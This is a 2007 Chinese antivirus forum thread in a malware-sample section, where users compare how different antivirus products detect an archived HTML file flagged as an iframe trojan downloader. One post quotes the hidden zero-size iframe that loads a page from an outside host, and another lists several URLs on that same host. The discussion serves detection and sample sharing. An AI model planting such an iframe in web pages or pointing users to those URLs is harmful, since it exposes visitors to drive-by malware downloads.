瑞星报的

显示全部楼层 · 发表于 2007-12-5 16:07:28

Trojan.DL.Script.JS.Agent.lqi

显示全部楼层 · 发表于 2007-12-5 16:09:15

Starting the file scan:

Begin scan in 'E:\c[1].rar'
E:\c[1].rar
  [0] Archive type: RAR
  --> c[1].htm
   [DETECTION] Contains suspicious code HEUR/Exploit.HTML
   [INFO]    The file was deleted!

显示全部楼层 · 发表于 2007-12-5 16:37:49

江民不报！

显示全部楼层 · 发表于 2007-12-5 16:39:57

问题出在这里吧？

<iframe src=hxxp://aa.18dd.net/ww/new05.htm?075 width=0 height=0></iframe>

显示全部楼层 · 发表于 2007-12-5 16:40:31

还有一个~

显示全部楼层 · 发表于 2007-12-5 17:47:04

瑞星報的..小紅傘都報...小紅傘報的.瑞星不見得會報.....

显示全部楼层 · 发表于 2007-12-5 21:49:57

Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Standard Database - 1022
Paranoia Database - 49642
Heuristics Analysis - Excessive
Scan in - C:\Documents and Settings\Uhthn\Desktop\c[1].htm

C:\Documents and Settings\Uhthn\Desktop\c[1].htm - Suspected Downloader

1 Files scanned
0 Infected files found
1 Suspected files found
0 Files disinfected
0 Files deleted

显示全部楼层 · 发表于 2007-12-5 22:25:19

检测到：木马程序 Trojan-Downloader.HTML.IFrame.be 文件　: F:\du\c[1].rar/c[1].htm

显示全部楼层 · 发表于 2007-12-5 22:28:17

ess miss

显示全部楼层 · 发表于 2007-12-5 22:35:08

[link]http://aa.18dd.net/ww/new05.htm?075
[link]http://aa.18dd.net/ww/new09.htm?193
[link]http://aa.18dd.net/ww/new05.htm?075
[link]http://aa.18dd.net/ww/new05.htm?075
[link]http://aa.18dd.net/ww/new05.htm?075
[link]http://aa.18dd.net/ww/new05.htm?075
[link]http://aa.18dd.net/ww/new05.htm?075
[link]http://aa.18dd.net/ww/new09.htm?193
[link]http://aa.18dd.net/ww/new05.htm?075

mygod

[病毒样本] 瑞星报的

本帖子中包含更多资源

回复 4楼 googlehack 的帖子